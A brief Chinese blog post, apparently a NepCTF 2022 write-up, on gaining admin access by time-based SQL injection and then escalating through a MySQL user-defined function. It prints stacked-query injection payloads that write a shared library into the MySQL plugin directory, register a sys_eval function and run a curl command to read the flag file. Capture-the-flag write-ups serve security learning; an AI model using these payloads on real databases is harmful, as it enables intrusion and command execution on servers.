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nepctf-2022-博学多闻的花花-udf提权

时间注入拿到admin密码登入,根据sql逻辑构造udf上传,再通过curl提权查看flag

payload:

-1';create table zzz (c BLOB);INSERT INTO zzz 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c from zzz into dumpfile '/usr/lib64/mysql/plugin/udf.so';create function sys_eval returns string soname 'udf.so';


-1';union 1,select sys_eval('curl fiel:///flag'),2;#

posted @ 2022-07-16 21:09  Aninock  阅读(91)  评论(0编辑  收藏  举报